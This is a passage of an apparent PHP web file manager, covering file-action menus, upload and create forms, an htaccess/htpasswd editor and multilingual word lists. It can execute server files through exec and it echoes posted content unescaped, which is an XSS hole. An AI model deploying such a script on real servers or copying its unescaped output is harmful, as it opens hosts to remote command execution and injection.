        if (@is_writable(dirname($file['path']))) {
            $actions[] = 'delete';
            $actions[] = 'rename';
            $actions[] = 'move';
        }
        if ($file['is_file'] && $file['is_readable']) {
            $actions[] = 'copy';
            $actions[] = 'download';
            if ($file['is_writable']) {
                $actions[] = 'edit';
            }
        }
        if (!$win && function_exists('exec') && $file['is_file'] && $file['is_executable'] && file_exists('/bin/sh')) {
            $actions[] = 'execute';
        }
        if (sizeof($actions) > 0) {
            echo '		<select class="small" name="action' . $i . '" size="1">
		<option value="">' . str_repeat('&nbsp;', 30) . '</option>
';
            foreach ($actions as $action) {
                echo "\t\t<option value=\"{$action}\">" . word($action) . "</option>\n";
            }
            echo '		</select>
		<input class="small" type="submit" name="submit' . $i . '" value=" &gt; " onfocus="activate(\'other\')" />
';
        }
        echo "\t</td>\r\n</tr>\r\n";
    }
    echo '<tr class="listing_footer">
	<td style="text-align: right; vertical-align: top"><img src="' . $self . '?image=arrow" alt="&gt;" /></td>
	<td colspan="' . ($cols - 1) . '">
		<input type="hidden" name="num" value="' . sizeof($list) . '" />
		<input type="hidden" name="focus" value="" />
		<input type="hidden" name="olddir" value="' . html($directory) . '" />
';
    $actions = array();
    if (@is_writable(dirname($file['path']))) {
        $actions[] = 'delete';
        $actions[] = 'move';
    }
    $actions[] = 'copy';
    echo '		<select class="small" name="action_all" size="1">
		<option value="">' . str_repeat('&nbsp;', 30) . '</option>
';
    foreach ($actions as $action) {
        echo "\t\t<option value=\"{$action}\">" . word($action) . "</option>\n";
    }
    echo "\t\t</select>\r\n\t\t<input class=\"small\" type=\"submit\" name=\"submit_all\" value=\" &gt; \" onfocus=\"activate('other')\" />\r\n\t</td>\r\n</tr>\r\n";
}
function column_title($column, $sort, $reverse)
{
    global $self, $directory;
    $d = 'dir=' . urlencode($directory) . '&amp;';
    if ($sort == $column) {
        if (!$reverse) {
            $r = '&amp;reverse=true';
            $arr = ' &and;';
        } else {
            $arr = ' &or;';
        }
    } else {
        $r = '';
    }
    echo "\t<th class=\"{$column}\"><a href=\"{$self}?{$d}sort={$column}{$r}\">" . word($column) . "</a>{$arr}</th>\n";
}
function directory_choice()
{
    global $directory, $homedir, $cols, $self;
    echo '<tr>
	<td colspan="' . $cols . '" id="directory">
		<a href="' . $self . '?dir=' . urlencode($homedir) . '">' . word('directory') . '</a>:
		<input type="text" name="dir" size="' . textfieldsize($directory) . '" value="' . html($directory) . '" onfocus="activate(\'directory\')" />
		<input type="submit" name="changedir" value="' . word('change') . '" onfocus="activate(\'directory\')" />
	</td>
</tr>
';
}
function upload_box()
{
    global $cols;
    echo '<tr>
	<td colspan="' . $cols . '" id="upload">
		' . word('file') . ':
		<input type="file" name="upload" onfocus="activate(\'other\')" />
		<input type="submit" name="submit_upload" value="' . word('upload') . '" onfocus="activate(\'other\')" />
	</td>
</tr>
';
}
function create_box()
{
    global $cols;
    echo '<tr>
	<td colspan="' . $cols . '" id="create">
		<select name="create_type" size="1" onfocus="activate(\'create\')">
		<option value="file">' . word('file') . '</option>
		<option value="directory">' . word('directory') . '</option>
		</select>
		<input type="text" name="create_name" onfocus="activate(\'create\')" />
		<input type="submit" name="submit_create" value="' . word('create') . '" onfocus="activate(\'create\')" />
	</td>
</tr>
';
}
function edit($file)
{
    global $self, $directory, $editcols, $editrows, $apache, $htpasswd, $htaccess;
    html_header();
    echo '<h2 style="margin-bottom: 3pt">' . html($file) . '</h2>

<form action="' . $self . '" method="post">

<table class="dialog">
<tr>
<td class="dialog">

	<textarea name="content" cols="' . $editcols . '" rows="' . $editrows . '" WRAP="off">';
    if (array_key_exists('content', $_POST)) {
        echo $_POST['content'];
    } else {
        $f = fopen($file, 'r');
        while (!feof($f)) {
            echo html(fread($f, 8192));
        }
        fclose($f);
    }
    if (!empty($_POST['user'])) {
        echo "\n" . $_POST['user'] . ':' . crypt($_POST['password']);
    }
    if (!empty($_POST['basic_auth'])) {
        if ($win) {
            $authfile = str_replace('\\', '/', $directory) . $htpasswd;
        } else {
            $authfile = $directory . $htpasswd;
        }
        echo "\nAuthType Basic\nAuthName &quot;Restricted Directory&quot;\n";
        echo 'AuthUserFile &quot;' . html($authfile) . "&quot;\n";
        echo "Require valid-user";
    }
    echo "</textarea>\r\n\r\n\t<hr />\r\n";
    if ($apache && basename($file) == $htpasswd) {
        echo '
	' . word('user') . ': <input type="text" name="user" />
	' . word('password') . ': <input type="password" name="password" />
	<input type="submit" value="' . word('add') . '" />

	<hr />
';
    }
    if ($apache && basename($file) == $htaccess) {
        echo '
	<input type="submit" name="basic_auth" value="' . word('add_basic_auth') . '" />

	<hr />
';
    }
    echo '
	<input type="hidden" name="action" value="edit" />
	<input type="hidden" name="file" value="' . html($file) . '" />
	<input type="hidden" name="dir" value="' . html($directory) . '" />
	<input type="reset" value="' . word('reset') . '" id="red_button" />
	<input type="submit" name="save" value="' . word('save') . '" id="green_button" style="margin-left: 50px" />

</td>
</tr>
</table>

<p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>

</form>

';
    html_footer();
}
function spacer()
{
    global $cols;
    echo '<tr>
	<td colspan="' . $cols . '" style="height: 1em"></td>
</tr>
';
}
function textfieldsize($content)
{
    $size = strlen($content) + 5;
    if ($size < 30) {
        $size = 30;
    }
    return $size;
}
function request_dump()
{
    foreach ($_REQUEST as $key => $value) {
        echo "\t<input type=\"hidden\" name=\"" . html($key) . '" value="' . html($value) . "\" />\n";
    }
}
/* ------------------------------------------------------------------------- */
function html($string)
{
    global $site_charset;
    return htmlentities($string, ENT_COMPAT, $site_charset);
}
function word($word)
{
    global $words, $word_charset;
    return htmlentities($words[$word], ENT_COMPAT, $word_charset);
}
function phrase($phrase, $arguments)
{
    global $words;
    static $search;
    if (!is_array($search)) {
        for ($i = 1; $i <= 8; $i++) {
            $search[] = "%{$i}";
        }
    }
    for ($i = 0; $i < sizeof($arguments); $i++) {
        $arguments[$i] = nl2br(html($arguments[$i]));
    }
    $replace = array('{' => '<pre>', '}' => '</pre>', '[' => '<b>', ']' => '</b>');
    return str_replace($search, $arguments, str_replace(array_keys($replace), $replace, nl2br(html($words[$phrase]))));
}
function getwords($lang)
{
    global $word_charset, $date_format;
    switch ($lang) {
        case 'de':
            $date_format = 'd.m.y H:i:s';
            $word_charset = 'ISO-8859-1';
            return array("directory" => "Verzeichnis", "file" => "Datei", "filename" => "Dateiname", "size" => "Gr&#246;&#223;e", "permission" => "Rechte", "owner" => "Eigner", "group" => "Gruppe", "other" => "Andere", "functions" => "Funktionen", "read" => "lesen", "write" => "schreiben", "execute" => "ausf&#252;hren", "create_symlink" => "Symlink erstellen", "delete" => "l&#246;schen", "rename" => "umbenennen", "move" => "verschieben", "copy" => "kopieren", "edit" => "editieren", "download" => "herunterladen", "upload" => "hochladen", "create" => "erstellen", "change" => "wechseln", "save" => "speichern", "set" => "setze", "reset" => "zur&#252;cksetzen", "relative" => "Pfad zum Ziel relativ", "yes" => "Ja", "no" => "Nein", "back" => "zur&#252;ck", "destination" => "Ziel", "symlink" => "Symbolischer Link", "no_output" => "keine Ausgabe", "user" => "Benutzername", "password" => "Kennwort", "add" => "hinzuf&#252;gen", "add_basic_auth" => "HTTP-Basic-Auth hinzuf&#252;gen", "uploaded" => "\"[%1]\" wurde hochgeladen.", "not_uploaded" => "\"[%1]\" konnte nicht hochgeladen werden.", "already_exists" => "\"[%1]\" existiert bereits.", "created" => "\"[%1]\" wurde erstellt.", "not_created" => "\"[%1]\" konnte nicht erstellt werden.", "really_delete" => "Sollen folgende Dateien wirklich gel&#246;scht werden?", "deleted" => "Folgende Dateien wurden gel&#246;scht:\n[%1]", "not_deleted" => "Folgende Dateien konnten nicht gel&#246;scht werden:\n[%1]", "rename_file" => "Benenne Datei um:", "renamed" => "\"[%1]\" wurde in \"[%2]\" umbenannt.", "not_renamed" => "\"[%1] konnte nicht in \"[%2]\" umbenannt werden.", "move_files" => "Verschieben folgende Dateien:", "moved" => "Folgende Dateien wurden nach \"[%2]\" verschoben:\n[%1]", "not_moved" => "Folgende Dateien konnten nicht nach \"[%2]\" verschoben werden:\n[%1]", "copy_files" => "Kopiere folgende Dateien:", "copied" => "Folgende Dateien wurden nach \"[%2]\" kopiert:\n[%1]", "not_copied" => "Folgende Dateien konnten nicht nach \"[%2]\" kopiert werden:\n[%1]", "not_edited" => "\"[%1]\" kann nicht editiert werden.", "executed" => "\"[%1]\" wurde erfolgreich ausgef&#252;hrt:\n{%2}", "not_executed" => "\"[%1]\" konnte nicht erfolgreich ausgef&#252;hrt werden:\n{%2}", "saved" => "\"[%1]\" wurde gespeichert.", "not_saved" => "\"[%1]\" konnte nicht gespeichert werden.", "symlinked" => "Symbolischer Link von \"[%2]\" nach \"[%1]\" wurde erstellt.", "not_symlinked" => "Symbolischer Link von \"[%2]\" nach \"[%1]\" konnte nicht erstellt werden.", "permission_for" => "Rechte f&#252;r \"[%1]\":", "permission_set" => "Die Rechte f&#252;r \"[%1]\" wurden auf [%2] gesetzt.", "permission_not_set" => "Die Rechte f&#252;r \"[%1]\" konnten nicht auf [%2] gesetzt werden.", "not_readable" => "\"[%1]\" kann nicht gelesen werden.");
        case 'fr':
            $date_format = 'd.m.y H:i:s';
            $word_charset = 'ISO-8859-1';
            return array("directory" => "R&#233;pertoire", "file" => "Fichier", "filename" => "Nom fichier", "size" => "Taille", "permission" => "Droits", "owner" => "Propri&#233;taire", "group" => "Groupe", "other" => "Autres", "functions" => "Fonctions", "read" => "Lire", "write" => "Ecrire", "execute" => "Ex&#233;cuter", "create_symlink" => "Cr&#233;er lien symbolique", "delete" => "Effacer", "rename" => "Renommer", "move" => "D&#233;placer", "copy" => "Copier", "edit" => "Ouvrir", "download" => "T&#233;l&#233;charger sur PC", "upload" => "T&#233;l&#233;charger sur serveur", "create" => "Cr&#233;er", "change" => "Changer", "save" => "Sauvegarder", "set" => "Ex&#233;cuter", "reset" => "R&#233;initialiser", "relative" => "Relatif", "yes" => "Oui", "no" => "Non", "back" => "Retour", "destination" => "Destination", "symlink" => "Lien symbollique", "no_output" => "Pas de sortie", "user" => "Utilisateur", "password" => "Mot de passe", "add" => "Ajouter", "add_basic_auth" => "add basic-authentification", "uploaded" => "\"[%1]\" a &#233;t&#233; t&#233;l&#233;charg&#233; sur le serveur.", "not_uploaded" => "\"[%1]\" n a pas &#233;t&#233; t&#233;l&#233;charg&#233; sur le serveur.", "already_exists" => "\"[%1]\" existe d&#233;j&#224;.", "created" => "\"[%1]\" a &#233;t&#233; cr&#233;&#233;.", "not_created" => "\"[%1]\" n a pas pu &#234;tre cr&#233;&#233;.", "really_delete" => "Effacer le fichier?", "deleted" => "Ces fichiers ont &#233;t&#233; d&#233;tuits:\n[%1]", "not_deleted" => "Ces fichiers n ont pu &#234;tre d&#233;truits:\n[%1]", "rename_file" => "Renomme fichier:", "renamed" => "\"[%1]\" a &#233;t&#233; renomm&#233; en \"[%2]\".", "not_renamed" => "\"[%1] n a pas pu &#234;tre renomm&#233; en \"[%2]\".", "move_files" => "D&#233;placer ces fichiers:", "moved" => "Ces fichiers ont &#233;t&#233; d&#233;plac&#233;s en \"[%2]\":\n[%1]", "not_moved" => "Ces fichiers n ont pas pu &#234;tre d&#233;plac&#233;s en \"[%2]\":\n[%1]", "copy_files" => "Copier ces fichiers:", "copied" => "Ces fichiers ont &#233;t&#233; copi&#233;s en \"[%2]\":\n[%1]", "not_copied" => "Ces fichiers n ont pas pu &#234;tre copi&#233;s en \"[%2]\":\n[%1]", "not_edited" => "\"[%1]\" ne peut &#234;tre ouvert.", "executed" => "\"[%1]\" a &#233;t&#233; brillamment ex&#233;cut&#233; :\n{%2}", "not_executed" => "\"[%1]\" n a pas pu &#234;tre ex&#233;cut&#233;:\n{%2}", "saved" => "\"[%1]\" a &#233;t&#233; sauvegard&#233;.", "not_saved" => "\"[%1]\" n a pas pu &#234;tre sauvegard&#233;.", "symlinked" => "Un lien symbolique depuis \"[%2]\" vers \"[%1]\" a &#233;t&#233; cr&#233;e.", "not_symlinked" => "Un lien symbolique depuis \"[%2]\" vers \"[%1]\" n a pas pu &#234;tre cr&#233;&#233;.", "permission_for" => "Droits de \"[%1]\":", "permission_set" => "Droits de \"[%1]\" ont &#233;t&#233; chang&#233;s en [%2].", "permission_not_set" => "Droits de \"[%1]\" n ont pas pu &#234;tre chang&#233;s en[%2].", "not_readable" => "\"[%1]\" ne peut pas &#234;tre ouvert.");
        case 'it':
            $date_format = 'd-m-Y H:i:s';
            $word_charset = 'ISO-8859-1';
            return array("directory" => "Directory", "file" => "File", "filename" => "Nome File", "size" => "Dimensioni", "permission" => "Permessi", "owner" => "Proprietario", "group" => "Gruppo", "other" => "Altro", "functions" => "Funzioni", "read" => "leggi", "write" => "scrivi", "execute" => "esegui", "create_symlink" => "crea link simbolico", "delete" => "cancella", "rename" => "rinomina", "move" => "sposta", "copy" => "copia", "edit" => "modifica", "download" => "download", "upload" => "upload", "create" => "crea", "change" => "cambia", "save" => "salva", "set" => "imposta", "reset" => "reimposta", "relative" => "Percorso relativo per la destinazione", "yes" => "Si", "no" => "No", "back" => "indietro", "destination" => "Destinazione", "symlink" => "Link simbolico", "no_output" => "no output", "user" => "User", "password" => "Password", "add" => "aggiungi", "add_basic_auth" => "aggiungi autenticazione base", "uploaded" => "\"[%1]\" &#232; stato caricato.", "not_uploaded" => "\"[%1]\" non &#232; stato caricato.", "already_exists" => "\"[%1]\" esiste gi&#224;.", "created" => "\"[%1]\" &#232; stato creato.", "not_created" => "\"[%1]\" non &#232; stato creato.", "really_delete" => "Cancello questi file ?", "deleted" => "Questi file sono stati cancellati:\n[%1]", "not_deleted" => "Questi file non possono essere cancellati:\n[%1]", "rename_file" => "File rinominato:", "renamed" => "\"[%1]\" &#232; stato rinominato in \"[%2]\".", "not_renamed" => "\"[%1] non &#232; stato rinominato in \"[%2]\".", "move_files" => "Sposto questi file:", "moved" => "Questi file sono stati spostati in \"[%2]\":\n[%1]", "not_moved" => "Questi file non possono essere spostati in \"[%2]\":\n[%1]", "copy_files" => "Copio questi file", "copied" => "Questi file sono stati copiati in \"[%2]\":\n[%1]", "not_copied" => "Questi file non possono essere copiati in \"[%2]\":\n[%1]", "not_edited" => "\"[%1]\" non pu&#242; essere modificato.", "executed" => "\"[%1]\" &#232; stato eseguito con successo:\n{%2}", "not_executed" => "\"[%1]\" non &#232; stato eseguito con successo\n{%2}", "saved" => "\"[%1]\" &#232; stato salvato.", "not_saved" => "\"[%1]\" non &#232; stato salvato.", "symlinked" => "Il link siambolico da \"[%2]\" a \"[%1]\" &#232; stato creato.", "not_symlinked" => "Il link siambolico da \"[%2]\" a \"[%1]\" non &#232; stato creato.", "permission_for" => "Permessi di \"[%1]\":", "permission_set" => "I permessi di \"[%1]\" sono stati impostati [%2].", "permission_not_set" => "I permessi di \"[%1]\" non sono stati impostati [%2].", "not_readable" => "\"[%1]\" non pu&#242; essere letto.");
        case 'nl':
            $date_format = 'n/j/y H:i:s';
            $word_charset = 'ISO-8859-1';
            return array("directory" => "Directory", "file" => "Bestand", "filename" => "Bestandsnaam", "size" => "Grootte", "permission" => "Bevoegdheid", "owner" => "Eigenaar", "group" => "Groep", "other" => "Anderen", "functions" => "Functies", "read" => "lezen", "write" => "schrijven", "execute" => "uitvoeren", "create_symlink" => "maak symlink", "delete" => "verwijderen", "rename" => "hernoemen", "move" => "verplaatsen", "copy" => "kopieren", "edit" => "bewerken", "download" => "downloaden", "upload" => "uploaden", "create" => "aanmaken", "change" => "veranderen", "save" => "opslaan", "set" => "instellen", "reset" => "resetten", "relative" => "Relatief pat naar doel", "yes" => "Ja", "no" => "Nee", "back" => "terug", "destination" => "Bestemming", "symlink" => "Symlink", "no_output" => "geen output", "user" => "Gebruiker", "password" => "Wachtwoord", "add" => "toevoegen", "add_basic_auth" => "add basic-authentification", "uploaded" => "\"[%1]\" is verstuurd.", "not_uploaded" => "\"[%1]\" kan niet worden verstuurd.", "already_exists" => "\"[%1]\" bestaat al.", "created" => "\"[%1]\" is aangemaakt.", "not_created" => "\"[%1]\" kan niet worden aangemaakt.", "really_delete" => "Deze bestanden verwijderen?", "deleted" => "Deze bestanden zijn verwijderd:\n[%1]", "not_deleted" => "Deze bestanden konden niet worden verwijderd:\n[%1]", "rename_file" => "Bestandsnaam veranderen:", "renamed" => "\"[%1]\" heet nu \"[%2]\".", "not_renamed" => "\"[%1] kon niet worden veranderd in \"[%2]\".", "move_files" => "Verplaats deze bestanden:", "moved" => "Deze bestanden zijn verplaatst naar \"[%2]\":\n[%1]", "not_moved" => "Kan deze bestanden niet verplaatsen naar \"[%2]\":\n[%1]", "copy_files" => "Kopieer deze bestanden:", "copied" => "Deze bestanden zijn gekopieerd naar \"[%2]\":\n[%1]", "not_copied" => "Deze bestanden kunnen niet worden gekopieerd naar \"[%2]\":\n[%1]", "not_edited" => "\"[%1]\" kan niet worden bewerkt.", "executed" => "\"[%1]\" is met succes uitgevoerd:\n{%2}", "not_executed" => "\"[%1]\" is niet goed uitgevoerd:\n{%2}", "saved" => "\"[%1]\" is opgeslagen.", "not_saved" => "\"[%1]\" is niet opgeslagen.", "symlinked" => "Symlink van \"[%2]\" naar \"[%1]\" is aangemaakt.", "not_symlinked" => "Symlink van \"[%2]\" naar \"[%1]\" is niet aangemaakt.", "permission_for" => "Bevoegdheid voor \"[%1]\":", "permission_set" => "Bevoegdheid van \"[%1]\" is ingesteld op [%2].", "permission_not_set" => "Bevoegdheid van \"[%1]\" is niet ingesteld op [%2].", "not_readable" => "\"[%1]\" kan niet worden gelezen.");
        case 'se':
            $date_format = 'n/j/y H:i:s';
            $word_charset = 'ISO-8859-1';
            return array("directory" => "Mapp", "file" => "Fil", "filename" => "Filnamn", "size" => "Storlek", "permission" => "S&#228;kerhetsniv&#229;", "owner" => "&#196;gare", "group" => "Grupp", "other" => "Andra", "functions" => "Funktioner", "read" => "L&#228;s", "write" => "Skriv", "execute" => "Utf&#246;r", "create_symlink" => "Skapa symlink", "delete" => "Radera", "rename" => "Byt namn", "move" => "Flytta", "copy" => "Kopiera", "edit" => "&#196;ndra", "download" => "Ladda ner", "upload" => "Ladda upp", "create" => "Skapa", "change" => "&#196;ndra", "save" => "Spara", "set" => "Markera", "reset" => "T&#246;m", "relative" => "Relative path to target", "yes" => "Ja", "no" => "Nej", "back" => "Tillbaks", "destination" => "Destination", "symlink" => "Symlink", "no_output" => "no output", "user" => "Anv&#228;ndare", "password" => "L&#246;senord", "add" => "L&#228;gg till", "add_basic_auth" => "add basic-authentification", "uploaded" => "\"[%1]\" har laddats upp.", "not_uploaded" => "\"[%1]\" kunde inte laddas upp.", "already_exists" => "\"[%1]\" finns redan.", "created" => "\"[%1]\" har skapats.", "not_created" => "\"[%1]\" kunde inte skapas.", "really_delete" => "Radera dessa filer?", "deleted" => "De h&#228;r filerna har raderats:\n[%1]", "not_deleted" => "Dessa filer kunde inte raderas:\n[%1]", "rename_file" => "Byt namn p&#229; fil:", "renamed" => "\"[%1]\" har bytt namn till \"[%2]\".", "not_renamed" => "\"[%1] kunde inte d&#246;pas om till \"[%2]\".", "move_files" => "Flytta dessa filer:", "moved" => "Dessa filer har flyttats till \"[%2]\":\n[%1]", "not_moved" => "Dessa filer kunde inte flyttas till \"[%2]\":\n[%1]", "copy_files" => "Kopiera dessa filer:", "copied" => "Dessa filer har kopierats till \"[%2]\":\n[%1]", "not_copied" => "Dessa filer kunde inte kopieras till \"[%2]\":\n[%1]", "not_edited" => "\"[%1]\" kan inte &#228;ndras.", "executed" => "\"[%1]\" har utf&#246;rts:\n{%2}", "not_executed" => "\"[%1]\" kunde inte utf&#246;ras:\n{%2}", "saved" => "\"[%1]\" har sparats.", "not_saved" => "\"[%1]\" kunde inte sparas.", "symlinked" => "Symlink fr&#229;n \"[%2]\" till \"[%1]\" har skapats.", "not_symlinked" => "Symlink fr&#229;n \"[%2]\" till \"[%1]\" kunde inte skapas.", "permission_for" => "R&#228;ttigheter f&#246;r \"[%1]\":", "permission_set" => "R&#228;ttigheter f&#246;r \"[%1]\" &#228;ndrades till [%2].", "permission_not_set" => "Permission of \"[%1]\" could not be set to [%2].", "not_readable" => "\"[%1]\" kan inte l&#228;sas.");
        case 'sp':
            $date_format = 'j/n/y H:i:s';
            $word_charset = 'ISO-8859-1';
            return array("directory" => "Directorio", "file" => "Archivo", "filename" => "Nombre Archivo", "size" => "Tama&#241;o", "permission" => "Permisos", "owner" => "Propietario", "group" => "Grupo", "other" => "Otros", "functions" => "Funciones", "read" => "lectura", "write" => "escritura", "execute" => "ejecuci&#243;n", "create_symlink" => "crear enlace", "delete" => "borrar", "rename" => "renombrar", "move" => "mover", "copy" => "copiar", "edit" => "editar", "download" => "bajar", "upload" => "subir", "create" => "crear", "change" => "cambiar", "save" => "salvar", "set" => "setear", "reset" => "resetear", "relative" => "Path relativo", "yes" => "Si", "no" => "No", "back" => "atr&#225;s", "destination" => "Destino", "symlink" => "Enlace", "no_output" => "sin salida", "user" => "Usuario", "password" => "Clave", "add" => "agregar", "add_basic_auth" => "agregar autentificaci&#243;n b&#225;sica", "uploaded" => "\"[%1]\" ha sido subido.", "not_uploaded" => "\"[%1]\" no pudo ser subido.", "already_exists" => "\"[%1]\" ya existe.", "created" => "\"[%1]\" ha sido creado.", "not_created" => "\"[%1]\" no pudo ser creado.", "really_delete" => "&#191;Borra estos archivos?", "deleted" => "Estos archivos han sido borrados:\n[%1]", "not_deleted" => "Estos archivos no pudieron ser borrados:\n[%1]", "rename_file" => "Renombra archivo:", "renamed" => "\"[%1]\" ha sido renombrado a \"[%2]\".", "not_renamed" => "\"[%1] no pudo ser renombrado a \"[%2]\".", "move_files" => "Mover estos archivos:", "moved" => "Estos archivos han sido movidos a \"[%2]\":\n[%1]", "not_moved" => "Estos archivos no pudieron ser movidos a \"[%2]\":\n[%1]", "copy_files" => "Copiar estos archivos:", "copied" => "Estos archivos han sido copiados a  \"[%2]\":\n[%1]", "not_copied" => "Estos archivos no pudieron ser copiados \"[%2]\":\n[%1]", "not_edited" => "\"[%1]\" no pudo ser editado.", "executed" => "\"[%1]\" ha sido ejecutado correctamente:\n{%2}", "not_executed" => "\"[%1]\" no pudo ser ejecutado correctamente:\n{%2}", "saved" => "\"[%1]\" ha sido salvado.", "not_saved" => "\"[%1]\" no pudo ser salvado.", "symlinked" => "Enlace desde \"[%2]\" a \"[%1]\" ha sido creado.", "not_symlinked" => "Enlace desde \"[%2]\" a \"[%1]\" no pudo ser creado.", "permission_for" => "Permisos de \"[%1]\":", "permission_set" => "Permisos de \"[%1]\" fueron seteados a [%2].", "permission_not_set" => "Permisos de \"[%1]\" no pudo ser seteado a [%2].", "not_readable" => "\"[%1]\" no pudo ser le&#237;do.");
        case 'dk':
            $date_format = 'n/j/y H:i:s';
            $word_charset = 'ISO-8859-1';
            return array("directory" => "Mappe", "file" => "Fil", "filename" => "Filnavn", "size" => "St&#248;rrelse", "permission" => "Rettighed", "owner" => "Ejer", "group" => "Gruppe", "other" => "Andre", "functions" => "Funktioner", "read" => "l&#230;s", "write" => "skriv", "execute" => "k&#248;r", "create_symlink" => "opret symbolsk link", "delete" => "slet", "rename" => "omd&#248;b", "move" => "flyt", "copy" => "kopier", "edit" => "rediger", "download" => "download", "upload" => "upload", "create" => "opret", "change" => "skift", "save" => "gem", "set" => "s&#230;t", "reset" => "nulstil", "relative" => "Relativ sti til valg", "yes" => "Ja", "no" => "Nej", "back" => "tilbage", "destination" => "Distination", "symlink" => "Symbolsk link", "no_output" => "ingen resultat", "user" => "Bruger", "password" => "Kodeord", "add" => "tilf&#248;j", "add_basic_auth" => "tilf&#248;j grundliggende rettigheder", "uploaded" => "\"[%1]\" er blevet uploaded.", "not_uploaded" => "\"[%1]\" kunnu ikke uploades.", "already_exists" => "\"[%1]\" findes allerede.", "created" => "\"[%1]\" er blevet oprettet.", "not_created" => "\"[%1]\" kunne ikke oprettes.", "really_delete" => "Slet disse filer?", "deleted" => "Disse filer er blevet slettet:\n[%1]", "not_deleted" => "Disse filer kunne ikke slettes:\n[%1]", "rename_file" => "Omd&#248;d fil:", "renamed" => "\"[%1]\" er blevet omd&#248;bt til \"[%2]\".", "not_renamed" => "\"[%1] kunne ikke omd&#248;bes til \"[%2]\".", "move_files" => "Flyt disse filer:", "moved" => "Disse filer er blevet flyttet til \"[%2]\":\n[%1]", "not_moved" => "Disse filer kunne ikke flyttes til \"[%2]\":\n[%1]", "copy_files" => "Kopier disse filer:", "copied" => "Disse filer er kopieret til \"[%2]\":\n[%1]", "not_copied" => "Disse filer kunne ikke kopieres til \"[%2]\":\n[%1]", "not_edited" => "\"[%1]\" kan ikke redigeres.", "executed" => "\"[%1]\" er blevet k&#248;rt korrekt:\n{%2}", "not_executed" => "\"[%1]\" kan ikke k&#248;res korrekt:\n{%2}", "saved" => "\"[%1]\" er blevet gemt.", "not_saved" => "\"[%1]\" kunne ikke gemmes.", "symlinked" => "Symbolsk link fra \"[%2]\" til \"[%1]\" er blevet oprettet.", "not_symlinked" => "Symbolsk link fra \"[%2]\" til \"[%1]\" kunne ikke oprettes.", "permission_for" => "Rettigheder for \"[%1]\":", "permission_set" => "Rettigheder for \"[%1]\" blev sat til [%2].", "permission_not_set" => "Rettigheder for \"[%1]\" kunne ikke s&#230;ttes til [%2].", "not_readable" => "\"[%1]\" Kan ikke l&#230;ses.");
        case 'tr':
            $date_format = 'n/j/y H:i:s';
            $word_charset = 'ISO-8859-1';
            return array("directory" => "Klas&#246;r", "file" => "Dosya", "filename" => "dosya adi", "size" => "boyutu", "permission" => "Izin", "owner" => "sahib", "group" => "Grup", "other" => "Digerleri", "functions" => "Fonksiyonlar", "read" => "oku", "write" => "yaz", "execute" => "&#231;alistir", "create_symlink" => "yarat symlink", "delete" => "sil", "rename" => "ad degistir", "move" => "tasi", "copy" => "kopyala", "edit" => "d&#252;zenle", "download" => "indir", "upload" => "y&#252;kle", "create" => "create", "change" => "degistir", "save" => "kaydet", "set" => "ayar", "reset" => "sifirla", "relative" => "Hedef yola g&#246;re", "yes" => "Evet", "no" => "Hayir", "back" => "Geri", "destination" => "Hedef", "symlink" => "K&#253;sa yol", "no_output" => "&#231;ikti yok", "user" => "Kullanici", "password" => "Sifre", "add" => "ekle", "add_basic_auth" => "ekle basit-authentification", "uploaded" => "\"[%1]\" y&#252;klendi.", "not_uploaded" => "\"[%1]\" y&#252;klenemedi.", "already_exists" => "\"[%1]\" kullanilmakta.", "created" => "\"[%1]\" olusturuldu.", "not_created" => "\"[%1]\" olusturulamadi.", "really_delete" => "Bu dosyalari silmek istediginizden eminmisiniz?", "deleted" => "Bu dosyalar silindi:\n[%1]", "not_deleted" => "Bu dosyalar silinemedi:\n[%1]", "rename_file" => "Adi degisen dosya:", "renamed" => "\"[%1]\" adili dosyanin yeni adi \"[%2]\".", "not_renamed" => "\"[%1] adi degistirilemedi \"[%2]\" ile.", "move_files" => "Tasinan dosyalar:", "moved" => "Bu dosyalari tasidiginiz yer \"[%2]\":\n[%1]", "not_moved" => "Bu dosyalari tasiyamadiginiz yer \"[%2]\":\n[%1]", "copy_files" => "Kopyalanan dosyalar:", "copied" => "Bu dosyalar kopyalandi \"[%2]\":\n[%1]", "not_copied" => "Bu dosyalar kopyalanamiyor \"[%2]\":\n[%1]", "not_edited" => "\"[%1]\" d&#252;zenlenemiyor.", "executed" => "\"[%1]\" basariyla &#231;alistirildi:\n{%2}", "not_executed" => "\"[%1]\" &#231;alistirilamadi:\n{%2}", "saved" => "\"[%1]\" kaydedildi.", "not_saved" => "\"[%1]\" kaydedilemedi.", "symlinked" => "\"[%2]\" den \"[%1]\" e k&#253;sayol olu&#254;turuldu.", "not_symlinked" => "\"[%2]\"den \"[%1]\" e k&#253;sayol olu&#254;turulamad&#253;.", "permission_for" => "Izinler \"[%1]\":", "permission_set" => "Izinler \"[%1]\" degistirildi [%2].", "permission_not_set" => "Izinler \"[%1]\" degistirilemedi [%2].", "not_readable" => "\"[%1]\" okunamiyor.");
        case 'cs':
            $date_format = 'd.m.y H:i:s';
            $word_charset = 'UTF-8';
            return array("directory" => "Adres&#195;&#161;&#197;\x99", "file" => "Soubor", "filename" => "Jm&#195;\xa9no souboru", "size" => "Velikost", "permission" => "Pr&#195;&#161;va", "owner" => "Vlastn&#195;\xadk", "group" => "Skupina", "other" => "Ostatn&#195;\xad", "functions" => "Funkce", "read" => "&#196;&#338;ten&#195;\xad", "write" => "Z&#195;&#161;pis", "execute" => "Spou&#197;&#161;t&#196;\x9bn&#195;\xad", "create_symlink" => "Vytvo&#197;\x99it symbolick&#195;&#189; odkaz", "delete" => "Smazat", "rename" => "P&#197;\x99ejmenovat", "move" => "P&#197;\x99esunout", "copy" => "Zkop&#195;\xadrovat", "edit" => "Otev&#197;\x99&#195;\xadt", "download" => "St&#195;&#161;hnout", "upload" => "Nahraj na server", "create" => "Vytvo&#197;\x99it", "change" => "Zm&#196;\x9bnit", "save" => "Ulo&#197;&#190;it", "set" => "Nastavit", "reset" => "zp&#196;\x9bt", "relative" => "Relatif", "yes" => "Ano", "no" => "Ne", "back" => "Zp&#196;\x9bt", "destination" => "Destination", "symlink" => "Symbolick&#195;&#189; odkaz", "no_output" => "Pr&#195;&#161;zdn&#195;&#189; v&#195;&#189;stup", "user" => "U&#197;&#190;ivatel", "password" => "Heslo", "add" => "P&#197;\x99idat", "add_basic_auth" => "p&#197;\x99idej z&#195;&#161;kladn&#195;\xad autentizaci", "uploaded" => "Soubor \"[%1]\" byl nahr&#195;&#161;n na server.", "not_uploaded" => "Soubor \"[%1]\" nebyl nahr&#195;&#161;n na server.", "already_exists" => "Soubor \"[%1]\" u&#197;&#190; exituje.", "created" => "Soubor \"[%1]\" byl 